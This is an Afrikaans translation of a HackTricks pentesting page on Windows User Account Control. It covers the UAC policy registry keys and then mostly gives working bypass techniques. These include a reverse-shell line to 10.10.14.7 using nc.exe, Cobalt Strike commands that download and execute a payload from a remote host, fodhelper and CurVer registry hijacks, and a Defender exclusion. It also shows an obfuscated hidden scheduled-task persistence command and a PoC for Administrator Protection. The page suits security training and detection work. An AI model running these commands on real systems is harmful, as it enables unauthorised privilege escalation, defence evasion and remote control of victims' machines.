UAC - User Account Control

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

UAC

User Account Control (UAC) is ’n funksie wat ’n toestemmingsprompt vir gevorderde aktiwiteite moontlik maak. Aansoeke het verskillende integrity vlakke, en ’n program met ’n hoë vlak kan take uitvoer wat die stelsel moontlik kan kompromitteer. Wanneer UAC aangeskakel is, hardloop toepassings en take altyd onder die sekuriteitskonteks van ’n nie-administrateur rekening tensy ’n administrateur eksplisiet hierdie toepassings/take magtiging gee om administrateurvlak-toegang tot die stelsel te hê om te hardloop. Dit is ’n geriefsfunksie wat administrateurs teen onbedoelde veranderinge beskerm, maar dit word nie as ’n sekuriteitsgrens beskou nie.

Vir meer inligting oor integrity vlakke:

Integrity Levels

Wanneer UAC in plek is, kry ’n administrateurgebruiker 2 tokens: ’n standaardgebruikertoken, om gewone aksies op gewone vlak uit te voer, en een met die adminbevoegdhede.

Hierdie bladsy bespreek hoe UAC in groot diepte werk en sluit die aanmeldproses, gebruikerservaring, en UAC-argitektuur in. Administrateurs kan sekuriteitspolisies gebruik om te konfigureer hoe UAC spesifiek vir hul organisasie werk op plaaslike vlak (met behulp van secpol.msc), of gekonfigureer en uitgepous word via Group Policy Objects (GPO) in ’n Active Directory-domeinomgewing. Die verskeie instellings word hier in detail bespreek: here. Daar is 10 Groepsbeleid-instellings wat vir UAC gestel kan word. Die volgende tabel verskaf bykomende besonderhede:

Group Policy SettingRegistersleutelStandaardinstelling
User Account Control: Admin Approval Mode for the built-in Administrator accountHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken0 (Gedeaktiveer)
User Account Control: Behavior of the elevation prompt for administrators in Admin Approval ModeHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin5 (Vra toestemming vir nie-Windows-binaries op die veilige lessenaar)
User Account Control: Behavior of the elevation prompt for standard usersHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser1 (Vra vir inlogbewyse op die veilige lessenaar)
User Account Control: Detect application installations and prompt for elevationHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection1 (Ingeskakel; standaard gedeaktiveer op Enterprise)
User Account Control: Only elevate executables that are signed and validatedHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ValidateAdminCodeSignatures0 (Gedeaktiveer)
User Account Control: Only elevate UIAccess applications that are installed in secure locationsHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableSecureUIAPaths1 (Ingeskakel)
User Account Control: Run all administrators in Admin Approval ModeHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA1 (Ingeskakel)
User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktopHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle0 (Gedeaktiveer)
User Account Control: Switch to the secure desktop when prompting for elevationHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop1 (Ingeskakel)
User Account Control: Virtualize file and registry write failures to per-user locationsHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization1 (Ingeskakel)

Beleide vir die installering van sagteware op Windows

Die lokale sekuriteitspolisies (“secpol.msc” op die meeste stelsels) is standaard gekonfigureer om nie-admin gebruikers te verhinder om sagteware te installeer. Dit beteken dat selfs al kan ’n nie-admin gebruiker die installateur vir jou sagteware aflaai, hulle dit nie sonder ’n administrateurrekening sal kan laat loop nie.

Registersleutels om UAC te dwing om vir verhoging te vra

As ’n standaardgebruiker sonder adminregte, kan jy seker maak dat die “standaard” rekening deur UAC vir inlogbewyse gevra word wanneer dit sekere aksies probeer uitvoer. Hierdie aksie sal vereis dat sekere registersleutels gewysig word, waarvoor jy adminpermissies benodig, tensy daar ’n UAC bypass is, of die aanvaller reeds as admin aangemeld is.

Selfs as die gebruiker in die Administrators groep is, dwing hierdie veranderinge die gebruiker om hul rekeninginlogbewyse weer in te tik om administratiewe aksies uit te voer.

Die enigste nadeel is dat hierdie benadering UAC gedeaktiveer benodig om te werk, wat onwaarskynlik in produksie-omgewings is.

Die registersleutels en inskrywings wat jy moet verander is die volgende (met hul verstekwaardes tussen hakies):

  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System:
  • ConsentPromptBehaviorUser = 1 (3)
  • ConsentPromptBehaviorAdmin = 1 (5)
  • PromptOnSecureDesktop = 1 (1)

Dit kan ook handmatig gedoen word deur die Local Security Policy-instrument. Sodra dit verander is, sal administratiewe operasies die gebruiker vra om hul inlogbewyse weer in te voer.

Nota

User Account Control is nie ’n sekuriteitsgrens nie. Dus kan standaardgebruikers nie uit hul rekeninge breek en administrateurregte verkry sonder ’n local privilege escalation exploit nie.

Vra ‘volledige rekenaartoegang’ aan ’n gebruiker

hostname | Set-Clipboard
Enable-PSRemoting -SkipNetworkProfileCheck -Force

cd C:\Users\hacedorderanas\Desktop
New-PSSession -Name "Case ID: 1527846" -ComputerName hostname
Enter-PSSession -ComputerName hostname

UAC-voorregte

  • Internet Explorer Protected Mode gebruik integriteitskontroles om te voorkom dat prosesse met ’n hoë integriteitsvlak (soos webblaaiers) toegang kry tot data met ’n lae integriteitsvlak (soos die tydelike Internet-lêergids). Dit word gedoen deur die blaaier met ’n lae-integriteit-token te laat loop. Wanneer die blaaier probeer om data te bereik wat in die lae-integriteitsone gestoor is, kontroleer die bedryfstelsel die integriteitsvlak van die proses en gee toegang ooreenkomstig. Hierdie funksie help verhoed dat remote code execution attacks toegang tot sensitiewe data op die stelsel verkry.
  • Wanneer ’n gebruiker by Windows aanmeld, skep die stelsel ’n toegangstoken wat ’n lys van die gebruiker se voorregte bevat. Voorregte word gedefinieer as die kombinasie van ’n gebruiker se regte en vermoëns. Die token bevat ook ’n lys van die gebruiker se credentials, wat gebruik word om die gebruiker teenoor die rekenaar en netwerkbronne te autentiseer.

Autoadminlogon

Om Windows te konfigureer sodat dit outomaties ’n spesifieke gebruiker by opstart aanmeld, stel die AutoAdminLogon registry key. Dit is nuttig vir kiosk-omgewings of vir toetsdoeleindes. Gebruik dit slegs op veilige stelsels, aangesien dit die wagwoord in die register openbaar maak.

Stel die volgende sleutels met die Registry Editor of reg add:

  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon:
  • AutoAdminLogon = 1
  • DefaultUsername = username
  • DefaultPassword = password

Om terug te keer na normale aanmeldgedrag, stel AutoAdminLogon op 0.

UAC bypass

Tip

Let wel: as jy grafiese toegang tot die victim het, is UAC bypass reguit vorentoe aangesien jy eenvoudig op “Yes” kan klik wanneer die UAC prompt verskyn

Die UAC bypass is nodig in die volgende situasie: die UAC is geaktiveer, jou proses hardloop in ’n medium-integriteitskonteks, en jou gebruiker behoort aan die administrators group.

Dit is belangrik om te noem dat dit veel moeiliker is om die UAC te omseil as dit in die hoogste sekuriteitsvlak (Always) is as wanneer dit in enige van die ander vlakke (Default) is.

UAC gedeaktiveer

As UAC reeds gedeaktiveer is (ConsentPromptBehaviorAdmin is 0) kan jy ’n reverse shell with admin privileges (high integrity level) uitvoer met iets soos:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UAC bypass with token duplication

  • https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
  • https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html

Baie Basic UAC “bypass” (volle lêerstelseltoegang)

As jy ’n shell het met ’n gebruiker wat in die Administrators groep is, kan jy via SMB (file system) die gedeelde mount the C$ plaaslik as ’n nuwe skyf koppel, en jy sal access to everything inside the file system hê (selfs Administrator home folder).

Warning

Dit lyk asof hierdie truuk nie meer werk nie

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

UAC bypass met cobalt strike

Die Cobalt Strike-tegnieke sal slegs werk as UAC nie op sy maksimum sekuriteitsvlak gestel is nie.

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire en Metasploit het ook verskeie modules om die UAC te bypass.

KRBUACBypass

Dokumentasie en hulpmiddel op https://github.com/wh0amitz/KRBUACBypass

UAC bypass exploits

UACME wat ’n samestelling is van verskeie UAC bypass exploits. Let wel dat jy UACME met visual studio of msbuild moet compileer. Die kompilasie sal verskeie uitvoerbare lêers skep (soos Source\Akagi\outout\x64\Debug\Akagi.exe) , jy sal moet weet watter een jy benodig.
Jy moet versigtig wees omdat sommige bypasses ander programme sal laat opduik wat die gebruiker sal waarsku dat iets aan die gang is.

UACME het die bouweergawe waarna elke tegniek begin werk het. Jy kan soek na ’n tegniek wat jou weergawes raak:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Ook, deur hierdie bladsy te gebruik, kry jy die Windows-weergawe 1607 uit die build-weergawes.

UAC Bypass – fodhelper.exe (Registry hijack)

Die vertroude binêre fodhelper.exe word op moderne Windows outomaties geëlevateer. Wanneer dit begin word, doen dit navraag op die per-gebruiker registerpad hieronder sonder om die DelegateExecute-werkwoord te valideer. Om ’n opdrag daar te plant, laat ’n Medium Integrity-proses (gebruiker is in Administrators) toe om ’n High Integrity-proses te spawn sonder ’n UAC-prompt.

Registerpad wat deur fodhelper nagevra word:

HKCU\Software\Classes\ms-settings\Shell\Open\command
PowerShell-stappe (stel jou payload in, dan aktiveer dit) ```powershell # Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"

1) Create the vulnerable key and values

New-Item -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Force | Out-Null New-ItemProperty -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Name “DelegateExecute” -Value “” -Force | Out-Null

2) Set default command to your payload (example: reverse shell or cmd)

Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)

Set-ItemProperty -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Name “(default)” -Value “powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>” -Force

3) Trigger auto-elevation

Start-Process -FilePath “C:\Windows\System32\fodhelper.exe”

4) (Recommended) Cleanup

Remove-Item -Path “HKCU:\Software\Classes\ms-settings\Shell\Open” -Recurse -Force

</details>
Aantekeninge:
- Werk wanneer die huidige gebruiker 'n lid van Administrators is en die UAC-vlak standaard/toegeeflik is (nie Always Notify met ekstra beperkinge nie).
- Gebruik die `sysnative`-pad om 'n 64-bit PowerShell te begin vanaf 'n 32-bit proses op 64-bit Windows.
- Payload kan enige opdrag wees (PowerShell, cmd, of 'n EXE-pad). Vermy prompting UIs vir stealth.

#### CurVer/extension hijack variant (HKCU only)

Onlangse monsters wat `fodhelper.exe` misbruik, omseil `DelegateExecute` en in plaas daarvan **herlei die `ms-settings` ProgID** via die per-gebruiker `CurVer`-waarde. Die auto-elevated binary los steeds die handler onder `HKCU` op, dus is geen admin token nodig om die sleutels te plant nie:
```powershell
# Point ms-settings to a custom extension (.thm) and map that extension to our payload
New-Item -Path "HKCU:\Software\Classes\.thm\Shell\Open" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\.thm\Shell\Open\command" -Name "(default)" -Value "C:\\ProgramData\\rKXujm.exe" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings" -Name "CurVer" -Value ".thm" -Force

Start-Process "C:\\Windows\\System32\\fodhelper.exe"   # auto-elevates and runs rKXujm.exe

Sodra dit verhoogde regte verkry het, skakel malware gewoonlik toekomstige versoeke af deur HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin op 0 te stel, voer dan addisionele defense evasion uit (bv., Add-MpPreference -ExclusionPath C:\ProgramData) en her-skep persistence om met high integrity uit te voer. ’n Tipiese persistence-taak stoor ’n XOR-encrypted PowerShell script op die skyf en dekodeer/voer dit in-memory elke uur uit:

schtasks /create /sc hourly /tn "OneDrive Startup Task" /rl highest /tr "cmd /c powershell -w hidden $d=[IO.File]::ReadAllBytes('C:\ProgramData\VljE\zVJs.ps1');$k=[Text.Encoding]::UTF8.GetBytes('Q');for($i=0;$i -lt $d.Length;$i++){$d[$i]=$d[$i]-bxor$k[$i%$k.Length]};iex ([Text.Encoding]::UTF8.GetString($d))"

Hierdie variant maak steeds die dropper skoon en laat net die staged payloads oor, wat opsporing laat staatmaak op monitering van die CurVer hijack, ConsentPromptBehaviorAdmin tampering, Defender exclusion creation, of scheduled tasks wat in-memory PowerShell ontsleutel.

Meer UAC bypass

Al die tegnieke wat hier gebruik word om AUC te omseil vereis ’n full interactive shell met die slagoffer (n gewone nc.exe shell is nie genoeg nie).

Jy kan dit kry deur ’n meterpreter sessie te gebruik. Migreer na ’n process wat die Session waarde gelyk aan 1 het:

(explorer.exe behoort te werk)

UAC Bypass with GUI

As jy toegang het tot ’n GUI kan jy net die UAC prompt aanvaar wanneer dit verskyn; jy het regtig nie ’n bypass nodig nie. Dus, om toegang tot ’n GUI te kry sal jou toelaat om die UAC te omseil.

Boonop, as jy ’n GUI-sessie kry wat iemand gebruik het (moontlik via RDP) is daar some tools that will be running as administrator vanwaar jy byvoorbeeld ’n cmd as admin direk kan run sonder weer deur UAC gevra te word, soos https://github.com/oski02/UAC-GUI-Bypass-appverif. Dit kan bietjie meer stealthy wees.

Luidrugtige brute-force UAC bypass

As jy nie omgee om lawaaierig te wees nie, kan jy altyd iets soos https://github.com/Chainski/ForceAdmin uitvoer wat voortdurend vra om toestemming te verhoog totdat die gebruiker dit aanvaar.

Jou eie bypass - Basiese UAC bypass metodologie

As jy na UACME kyk sal jy opmerk dat meeste UAC bypasses ’n Dll Hijacking vulnerability misbruik (hoofsaaklik deur die kwaadwillige dll op C:\Windows\System32 te skryf). Lees hierdie om te leer hoe om ’n Dll Hijacking kwetsbaarheid te vind.

  1. Vind ’n binary wat sal autoelevate (kontroleer dat wanneer dit uitgevoer word dit in ’n high integrity level loop).
  2. Gebruik procmon om “NAME NOT FOUND” events te vind wat kwesbaar kan wees vir DLL Hijacking.
  3. Jy sal waarskynlik die DLL binne sekere protected paths (soos C:\Windows\System32) moet write waar jy nie skryfpermissies het nie. Jy kan dit omseil deur die volgende te gebruik:
  4. wusa.exe: Windows 7, 8 en 8.1. Dit laat toe om die inhoud van ’n CAB-lêer binne protected paths te extract (want hierdie hulpmiddel word van ’n high integrity level uitgevoer).
  5. IFileOperation: Windows 10.
  6. Berei ’n script voor om jou DLL in die protected path te copy en die kwesbare en autoelevated binary uit te voer.

Nog ’n UAC bypass tegniek

Bestaan uit om te kyk of ’n autoElevated binary probeer read uit die registry die name/path van ’n binary of command wat executed moet word (dit is meer interessant as die binary hierdie inligting binne die HKCU soek).

Administrator Protection (25H2) drive-letter hijack via per-logon-session DOS device map

Windows 11 25H2 “Administrator Protection” gebruik shadow-admin tokens met per-sessie \Sessions\0\DosDevices/<LUID> maps. Die gids word lui geskep deur SeGetTokenDeviceMap by die eerste \?? resolusie. As die aanvaller die shadow-admin token slegs op SecurityIdentification imiteer, word die gids geskep met die aanvaller as owner (erf CREATOR OWNER), wat drive-letter links toelaat wat voorrang gee oor \GLOBAL??.

Stappe:

  1. Van ’n laag-bevoorregte sessie, roep RAiProcessRunOnce aan om ’n promptless shadow-admin runonce.exe te spawn.
  2. Dupliseer sy primêre token na ’n identification token en impersonate dit terwyl jy \?? oopmaak om die skepping van \Sessions\0\DosDevices/<LUID> onder aanvaller-eienaarskap te forceer.
  3. Skep daar ’n C: symlink wat wys na aanvaller-beheerde stoorplek; daaropvolgende lêerstelsel toegang in daardie sessie los C: op na die aanvallerpad, wat DLL/file hijack moontlik maak sonder ’n prompt.

PowerShell PoC (NtObjectManager):

$pid = Invoke-RAiProcessRunOnce
$p = Get-Process -Id $pid
$t = Get-NtToken -Process $p
$id = New-NtTokenDuplicate -Token $t -ImpersonationLevel Identification
Invoke-NtToken $id -ImpersonationLevel Identification { Get-NtDirectory "\??" | Out-Null }
$auth = Get-NtTokenId -Authentication -Token $id
New-NtSymbolicLink "\Sessions\0\DosDevices/$auth/C:" "\??\\C:\\Users\\attacker\\loot"

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks